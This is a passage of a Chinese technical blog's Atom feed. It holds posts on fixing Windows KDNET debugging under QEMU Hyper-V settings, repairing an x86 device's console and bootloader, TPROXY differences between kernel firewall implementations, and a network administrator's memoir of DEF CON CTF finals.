&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Network debugging is supported on the following NICs:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;busparams=1.0.0, Intel(R)......&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;busparams=VM, Network debugging is supported by this Microsoft Hypervisor Virtual Machine, Cable status unknown.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;KDNET transport initialization failed during a previous boot.  Status = 0xC0000182.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NIC hardware initialization failed.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;KDNET did not successfully receive any packets during init.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;KDNET did not successfully send any packets during init.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查询资料，KDNET是用一个指定的UDP端口和调试器互相通信。抓包发现在引导时，虚拟机在物理机对应的网卡上并没有数据包对外发出，说明问题应该出在虚拟机内部，或虚拟化模拟层面。&lt;&#x2F;p&gt;
&lt;p&gt;进一步查询后，发现早在2021年即有人在&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bugzilla.redhat.com&#x2F;show_bug.cgi?format=multiple&amp;amp;id=1947015&quot;&gt;Bugzilla&lt;&#x2F;a&gt;反馈过类似问题，发件人自称为Windows平台的驱动开发者，他们通过临时关闭&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.qemu.org&#x2F;docs&#x2F;master&#x2F;system&#x2F;i386&#x2F;hyperv.html&quot;&gt;Hyper-V模拟特性&lt;&#x2F;a&gt;可以缓解这一问题。查看Qemu文档发现，Hyper-V的虚拟化开关功能极多。在开发环境通过&lt;code&gt;ps&lt;&#x2F;code&gt;检查，确认&lt;code&gt;qemu&lt;&#x2F;code&gt;进程携带了相关参数。由于开发环境是使用libvirt配置的，查看配置文件，发现：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&amp;lt;!-- ... --&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;hyperv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; mode&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;custom&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;relaxed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; state&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;on&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;vapic&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; state&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;on&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt; &#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;spinlocks&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; state&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;on&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; retries&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;8191&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt; &#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;hyperv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&amp;lt;!-- ... --&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;clock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    &amp;lt;!-- ... --&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;timer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;hypervclock&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; present&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;yes&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt; &#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;clock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE680;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&amp;lt;!-- ... --&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;临时屏蔽相关段落后，重启，调试器连接成功。&lt;&#x2F;p&gt;
&lt;p&gt;回看相关错误消息，从&lt;code&gt;kdnet&lt;&#x2F;code&gt;输出也应该意识到，机器里有一个奇怪的网络调试设备。在QEMU文档中，和&lt;code&gt;kdnet&lt;&#x2F;code&gt;对应的网络调试能力是&lt;code&gt;hv-syndbg&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;hv-syndbg&lt;&#x2F;p&gt;
&lt;p&gt;Enables Hyper-V synthetic debugger interface, this is a special interface used by Windows Kernel
debugger to send the packets through, rather than sending them via serial&#x2F;network . When enabled,
this enlightenment provides additional communication facilities to the guest: SynDbg messages.
This new communication is used by Windows Kernel debugger rather than sending packets via
serial&#x2F;network, adding significant performance boost over the other comm channels. This
enlightenment requires a VMBus device (-device vmbus-bridge,irq=15).&lt;&#x2F;p&gt;
&lt;p&gt;Requires: hv-relaxed, hv_time, hv-vapic, hv-vpindex, hv-synic, hv-runtime, hv-stimer&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;且无论这一选项是否开启，打开Hyper-V虚拟化功能后，都会使CPUID变更：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;When any set of the Hyper-V enlightenments is enabled, QEMU changes hypervisor identification
(CPUID 0x40000000..0x4000000A) to Hyper-V. KVM identification and features are kept in leaves
0x40000100..0x40000101.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在&lt;code&gt;kdnet.exe&lt;&#x2F;code&gt;一侧，暂没有发现控制&lt;code&gt;busparams=VM&lt;&#x2F;code&gt;的有效手段，姑且认为无法关闭此特性。&lt;&#x2F;p&gt;
&lt;p&gt;总结下来是，错误搭配的&lt;code&gt;CPUID&lt;&#x2F;code&gt;和Hyper-V参数，导致内核初始化时使用错误的设备开启调试进程，进而触发异常。正确配置libvirt，或暂时关闭Hyper-V虚拟化功能均可缓解此问题。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>一次曲折的设备修复过程</title>
        <published>2023-12-02T00:00:00+00:00</published>
        <updated>2023-12-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/fix-of-controller/"/>
        <id>https://blog.iret.xyz/posts/fix-of-controller/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/fix-of-controller/">&lt;h1 id=&quot;yuan-shi-gu-zhang&quot;&gt;原始故障&lt;&#x2F;h1&gt;
&lt;p&gt;某 x86 定制设备，因业务原因需进行全系统升级。由于设备需求，各组件含 grub、systemd、kernel、influxdb 等均为上游最新的稳定版本。全系统升级完成后，尚未重启系统，也未观察稳定情况，直接进行其余变更。运行约140秒后，系统宕机。重启后正常进入系统，但运行若干秒后，再次宕机。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gu-zhang-kuo-da&quot;&gt;故障扩大&lt;&#x2F;h1&gt;
&lt;p&gt;由于设备具有显示接口，因此使用外接KVM接入设备。在版本回退过程中，由于更新grub版本配置时，没有注意到引导安装失败，因此在重启后，grub失败，提示：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;error: file &amp;#39;&#x2F;boot&#x2F;grub&#x2F;x86_64-efi&#x2F;bli.mod&amp;#39; not found&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;尝试使用维护终端，提供USB虚拟镜像，启动设备。但重启后发现，设备在EFI引导阶段无任何显示，因此无法从USB虚拟镜像启动。&lt;&#x2F;p&gt;
&lt;p&gt;尝试使用设备的Console线，但一旦将设备Console口和维护终端连接，终端即有大量不明字符。从维护终端输入重启命令，无响应。在其他设备上，测试维护终端与Console线，工作正常，因此判定设备Console口工作异常。清洁Console口后，问题依旧。反复上电后，彻底无输出。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gu-zhang-shou-lian&quot;&gt;故障收敛&lt;&#x2F;h1&gt;
&lt;p&gt;由于系统存在Console口，因此优先恢复Console口的正常功能。字符紊乱，可能是线路电压不稳定，也可能是上游信号故障。由于现场条件限制，没有维修资料和工具，仅有USB-TTL模块以及指针式万用表，需通过猜测调试设备。&lt;&#x2F;p&gt;
&lt;p&gt;拆机后，测量Console口相关电路。观察发现Console口和上游电路间，使用一片GD75232进行电平转换。测量Console口TXD端子输出电压，发现在-11V左右，且指针有抖动。怀疑电容漏电导致电压不稳，破拆去耦电容后，故障依旧。继续追查电路，发现TXD引脚在电平转换器的另一侧，电压稳定。测量电平转换器的工作电压，正常。但断电后，测量各管脚对地阻值，发现TXD引脚和其他同类引脚，阻值有显著变化，因此推断为电平转换芯片出现问题。由于现场除USB-TTL模块外无其他器件，因此手动修改线材后，人工将模块引脚对准主板上电平转换器的对应引脚。开机后，可以在维护终端上看到BIOS的启动信息。&lt;&#x2F;p&gt;
&lt;p&gt;检查BIOS配置，发现该设备CSM配置中，Video被配置为EFI Only。然而，此设备的Video模块必须在Legacy下才能正常工作。修改配置后，BIOS启动画面正常显示，EFI引导信息正常显示。&lt;&#x2F;p&gt;
&lt;p&gt;使用USB虚拟镜像，启动恢复系统，并chroot进原磁盘。重新安装grub引导配置后，故障变为在grub选单界面前卡住。再次使用USB镜像启动，并在grub配置中加入：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;set pager=1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;set debug=all&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重新启动，发现在加载 &lt;code&gt;serial&lt;&#x2F;code&gt; 模块时，日志停住。推测是新版本软件兼容性问题，因此在&lt;code&gt;&#x2F;etc&#x2F;default&#x2F;grub&lt;&#x2F;code&gt;中修改相应配置后，重新生成配置。系统成功引导，可以进入到操作系统选择菜单，至此，原始故障已经恢复。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gu-zhang-jie-jue&quot;&gt;故障解决&lt;&#x2F;h1&gt;
&lt;p&gt;进一步调查发现，系统宕机原因为内核兼容性问题，合入补丁后宕机现象消失，故障修复。&lt;&#x2F;p&gt;
&lt;p&gt;由于此机器Console口已不工作，限制对此机器相关的业务变更，后续择机更换受损元器件。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>TPROXY&#x27;s different behavior in different kernel</title>
        <published>2023-01-16T00:00:00+00:00</published>
        <updated>2023-01-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/nftables-iptables-tproxy/"/>
        <id>https://blog.iret.xyz/posts/nftables-iptables-tproxy/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/nftables-iptables-tproxy/">&lt;p&gt;Q: 某代理软件如果不关闭tproxy，重启软件会断网。是不是应该让代理软件接管对防火墙的修改操作？&lt;&#x2F;p&gt;
&lt;p&gt;A: 摘录聊天记录如下&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;silver:
tproxy这个其实还是防火墙……防火墙这个就tm麻烦了&lt;&#x2F;p&gt;
&lt;p&gt;你看你有iptables，还有nft&lt;&#x2F;p&gt;
&lt;p&gt;然后iptables还有iptables-legacy和iptables-netfilter&lt;&#x2F;p&gt;
&lt;p&gt;用户机器上有可能是个iptables-legacy的binary，但他内核实现是netfilter的&lt;&#x2F;p&gt;
&lt;p&gt;也有可能用户机器上既有nft 又有iptables-netfilter，然后他两个都配了规则（&lt;&#x2F;p&gt;
&lt;p&gt;如果是nft，有可能用户同时配了table ip&#x2F;table ip6&#x2F;table inet&lt;&#x2F;p&gt;
&lt;p&gt;tl; dr: linux firewall is messy&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;群友提到其他软件的用户会使用Namespace解决这个问题，这样就不需要改防火墙了，进程死掉的时候顺便也删掉规则。但：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;exactly but如果想跑在路由器上，那对应版本的内核有没有namespace&lt;&#x2F;p&gt;
&lt;p&gt;uname -a: linux 2.6.32&lt;&#x2F;p&gt;
&lt;p&gt;gg&lt;&#x2F;p&gt;
&lt;p&gt;所以我觉得你的问题其实是在挂掉的时候怎么优雅处理tproxy&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;于是吃了个晚饭后翻源码：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;silver:
调研了下，这个case是这样的。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Linux &amp;lt;=3.x的版本，这个功能只有一个实现，也就是xftables项目的xt_TPROXY.c&lt;&#x2F;li&gt;
&lt;li&gt;=4.x的版本，因为nftables也来了，所以有两个实现，nft_tproxy.c和xt_TPROXY.c&lt;&#x2F;li&gt;
&lt;li&gt;5.x+的版本，xftables彻底被干掉了，就剩下nftables的实现了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以在一个4.x的内核上你就能体验到两种不同实现的差异。如果tproxy重定向到的那个端口上没有一个listening socket：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果走了nftables的实现，那么规则无效，继续执行其他规则，换句话说网络是正常的: &lt;code&gt;nft_tproxy.c#L143&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;如果走的是xftables的老实现，那么丢包: &lt;code&gt;xt_TPROXY.c#L184&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我搞了个测试环境复现了下，换句话说你必须用nftables，不能用iptables-nat（iptables-nat出于兼容性还是用了xftables的实现），也不能用iptables-legacy，这样就算tproxy背后的socket没了，网络也正常&lt;&#x2F;p&gt;
&lt;p&gt;so tl; dr: blame upstream&lt;&#x2F;p&gt;
&lt;p&gt;群乌贼:
草&lt;&#x2F;p&gt;
&lt;p&gt;silver:
讲道理你想tproxy就是把一个应该丢到网络设备的包丢到了socket上（&lt;&#x2F;p&gt;
&lt;p&gt;所以socket没了内核肯定是知道的（&lt;&#x2F;p&gt;
&lt;p&gt;所以肯定内核做了什么操作才会丢包（&lt;&#x2F;p&gt;
&lt;p&gt;群友A:
云理解就是做没做的问题 吧（&lt;&#x2F;p&gt;
&lt;p&gt;silver:
对，老内核就是看到socket不存在就丢包，新内核就是看到socket不存在就当这条规则不存在，继续执行下一跳规则&lt;&#x2F;p&gt;
&lt;p&gt;所以如果你用4.x的话，用nft写规则；或者你用5.x+的内核就好了&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;当然这个事情解法很多。用tun&#x2F;tap device结合路由规则就不需要考虑tproxy的问题，但涉及到策略路由，有一定门槛，而且对应用实现的速度要求就比较高了。&lt;&#x2F;p&gt;
&lt;p&gt;Per-device去分发PAC也可以，但这个操作不保险。&lt;&#x2F;p&gt;
&lt;p&gt;或者说在路由层面通过两个路由（有点像是所谓的旁路由方案），但依然折腾。&lt;&#x2F;p&gt;
&lt;p&gt;可能在一个不能直接互联的网里，这种事情就是无法避免的吧。我大多数的网络知识都来自于这种攻防对抗，但我并不会因此而感谢这种对抗。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>网吧网管如何在 DEF COOON CTF 中存活</title>
        <published>2021-08-22T00:00:00+00:00</published>
        <updated>2021-08-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/defcon-devops-recooord/"/>
        <id>https://blog.iret.xyz/posts/defcon-devops-recooord/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/defcon-devops-recooord/">&lt;blockquote&gt;
&lt;p&gt;全文都是流水帐，和writeup没什么关系。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;俗话说的好，别人的作业交的越晚，能抄的样本就越多（并不）。&lt;&#x2F;p&gt;
&lt;p&gt;因为个人参与度的问题，就不多讨论Quals了，只谈四年里参与过的Final。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;oh-take-me-back-my-timemachine&quot;&gt;Oh, Take Me Back, My Timemachine&lt;&#x2F;h2&gt;
&lt;p&gt;在大学是跟着big1ce和wilson师傅通过CTF接触了安全领域，打了一些比赛，虽然成绩不太好，但自我感觉还不错。&lt;&#x2F;p&gt;
&lt;p&gt;工作之后，因为一些机缘巧合的因素，开始参与 DEF CON CTF。DC CTF的题比较难，起初做逆向，他们往往让我的F5没什么用，机器码也看不得；后来看看Pwn和流量，各家神仙的payload也看的紧，抄exp也很为难。所以过了几天，又觉得自己干不了这事。幸亏荐头的情面大，辞退不得，便改为专管网络的一种 &lt;del&gt;无聊（并不）&lt;&#x2F;del&gt; 职务了，或许这就是网吧网管的宿命罢。(neta结束)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;oooverflow.io&quot;&gt;The Order of Overflow&lt;&#x2F;a&gt;自2018起开始作为出题人，直到2021年结束。我则从2018 Final起，逐渐参与到这一局游戏中。2018年的事情几乎没有留下太多印记，只记得几个同事在Flamingo的房间里逆向，以及同事D在赛前帮我回酒店拿了一份快递。记忆消失了一块，有点可惜。直到长大后才会明白，有些东西如果不记下来，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;0xKira233&#x2F;status&#x2F;1426440606713221125&quot;&gt;就会随风飘逝&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;summer-night-wind&quot;&gt;Summer Night Wind&lt;&#x2F;h2&gt;
&lt;p&gt;实际2019年本来是会在国内参与后勤做题的。只是没想到，有同学的签证没有过，原本在做运维的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;azure.kdays.cn&#x2F;&quot;&gt;Azure&lt;&#x2F;a&gt;需要被解放去做题。想当年我还在做某方向的商业测试项目，唉，人呐，就都不知道，自己不可以预料。一个人的命运啊，当然要靠自我奋斗，但是也要考虑到历史的行程，我绝对不知道我作为一个包邮区的测试工程师，怎么就把我当作主力运维选到Las Vegas去了。所以Azure同志跟我讲话，说，「中央已经研究决定了」，后来我就念了……&lt;&#x2F;p&gt;
&lt;p&gt;不，和你们想的不太一样。后来我就因为担心协作平台R不够稳定，跟他在会议室拍桌子吵了两个小时（此处音量-20dBm&lt;&#x2F;p&gt;
&lt;p&gt;事情是这样的，在DC 26中，我们引入了一个新的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;azure.kdays.cn&#x2F;2018&#x2F;09&#x2F;07&#x2F;DEF-CON-CTF-26-Final&#x2F;&quot;&gt;协作平台R&lt;&#x2F;a&gt;。这是一个非常富有远见的做法，试图解决在CTF这个特殊场景下多人协作的问题。实际上，后来我们也发现，在其他队伍（&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;starbugs-ctf&#x2F;Siren&quot;&gt;示例1&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;iromise.com&#x2F;2021&#x2F;08&#x2F;11&#x2F;DEF-CON-CTF-29-Final&#x2F;#:~:text=%E5%AE%8C%E5%85%A8%E8%A1%A5%E4%B8%8A%EF%BC%8C-,%E4%BB%8D%E7%84%B6,-%E5%9C%A8%E8%A2%AB%20Katzebin&quot;&gt;示例2&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;cjm00n.top&#x2F;CTF&#x2F;how-to-chat-in-ctf.html&quot;&gt;示例3&lt;&#x2F;a&gt;）中也引入了类似的实践，侧面说明Azure还是很牛逼的。而也是因为大家对平台的期望很高，导致DC26中出现了一些影响访问的问题，打击了大家对协作平台的信心。不过还好，在赛前，Azure和Mr. Robot完成了部分后端代码的强化工作，并在比赛之前完成了核心模块的测试工作。我则从公司出发，带着：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一台用作路由器的&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.banana-pi.org&#x2F;r2.html&quot;&gt;BPI-R2&lt;&#x2F;a&gt;，以及作为备份的树莓派；&lt;&#x2F;li&gt;
&lt;li&gt;一台支持VLAN的交换机，防止OOO的网络配置和DC26不一样，当然事后证明多虑了；&lt;&#x2F;li&gt;
&lt;li&gt;一块将近160Wh的蓄电池，足以支撑上述设备在没有电源供应的情况下满负载工作几个小时，航空公司竟然真的让我把电池带上去了；&lt;&#x2F;li&gt;
&lt;li&gt;以及一些笔记本和摄像头，用来协助做现场监视。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在提议将热点名称改成Tea Receivers后，就收拾东西准备迎接正式比赛了。DC 27是分布式布局，CTF场地是在Planet Hollywood的Mezzanine。不过和其他国内队伍差不多，我们的人员也是分在三个点：现场，酒店套房和国内支援，三点之间靠&lt;code&gt;OpenVPN&lt;&#x2F;code&gt;组成了一个大内网，内网和主办方的内网互通。此外，为了保证协作平台&lt;code&gt;R&lt;&#x2F;code&gt;正常运行，需要维护用来执行攻击任务的脚本&lt;code&gt;Ra&lt;&#x2F;code&gt;和用来解析主办方题目状态的脚本&lt;code&gt;Rp&lt;&#x2F;code&gt;。那么作为运维的常规工作就很清楚了：维护好内网，维护好bot，应对一些奇妙的新网络需求，顺便水个签到题。&lt;&#x2F;p&gt;
&lt;p&gt;第一天过去布好网络后最大的感受就是，这空调开的真足，加上楼下人不多，没人帮我挡风，感觉腿好冷，不知道是不是酒店要照顾楼下在赌博的大爷大妈们……网络方面除了因为Google（一如既往的）对酒店网络访问Google DNS做了干扰，其他一切正常，所以作为国内队伍自然祭出了&lt;code&gt;114.114.114.114&lt;&#x2F;code&gt;用。除了一些服务被d、服务下线、服务被d后下线之外的小插曲外，第一天的比赛就结束了。&lt;&#x2F;p&gt;
&lt;p&gt;第二天的比赛，主办方一大早就给每个队伍发了一个&lt;code&gt;xbox 360&lt;&#x2F;code&gt;，说要把这个连到主办方的网络上，来完成题目&lt;code&gt;dooom&lt;&#x2F;code&gt;。接上显示器后发现，显示器应该会走DHCP拉一个IP地址，于是重新配置了下交换机，将网线分出来一条接到了xbox上，同时把xbox的包抓出来分析了下。但不巧的是，因为自己手滑把路由器的一些配置写错了，再加上主办方似乎应用了DHCP限制，导致我们大概有半个小时左右的时间，没法从DHCP拉到IP。后来分析，这个DHCP限制应该一部分原因是由于，xbox本身是通过DHCP拿到IP后，去找网关启动的，可能他们认为网络上过多的DHCP请求会间接加重服务器负担，所以就做了一些限制。有趣的是，此时也似乎恰好赶上了主办方自己的网络出现问题，从中午11点多开始scoreboard的可用性开始下降，一段时间后完全不可用。&lt;&#x2F;p&gt;
&lt;p&gt;网络恢复后，开始和来楼下的同学一起看这个题，分析流量后认为应该是可以通过我们自己的DHCP服务器，给xbox的bootloader下发一个新的固件，达到patch。于是飞速重新划了个vlan，启动dhcp服务器，跑起来队友的脚本，之后就是常规的逆向、patch、打人的操作了，可以把KoH当作Pwn来做了。不过Zach大师的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dttw.tech&#x2F;posts&#x2F;SJ40_7MNS#dooom-eternal&quot;&gt;writeup&lt;&#x2F;a&gt;也介绍了他们的方法，只能说毕竟是老牌队伍，这都能干这么多分，自叹不如……&lt;&#x2F;p&gt;
&lt;p&gt;美好的做题时光总是短暂的，jackyx开心的游戏时间（虽然没有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.facebook.com&#x2F;HITCON&#x2F;posts&#x2F;2573550716009568&quot;&gt;很nb的枪&lt;&#x2F;a&gt;）也走到了尾声，&lt;code&gt;dooom&lt;&#x2F;code&gt;在被HITCON拿了一堆分数后，很快就离开了我们（rip），而我的网管任务也在第三天来到了尾声。第三天和前两天一样，没有什么变化。只是在实践中发现，攻击脚本Ra的运行不仅不够平稳，规则也不太灵活，因此后面的一两个题现场好像还是依赖人工打出去的。&lt;&#x2F;p&gt;
&lt;p&gt;我是在酒店看最后的颁奖典礼的，结果算是差强人意，但在比赛结束时也多多少少有预计到会是这样的结果。因为准备和朋友们去黄石玩，所以跳过了一些有趣的party和自助餐环节，直奔机场了。事后想了下：&lt;&#x2F;p&gt;
&lt;ul&gt;
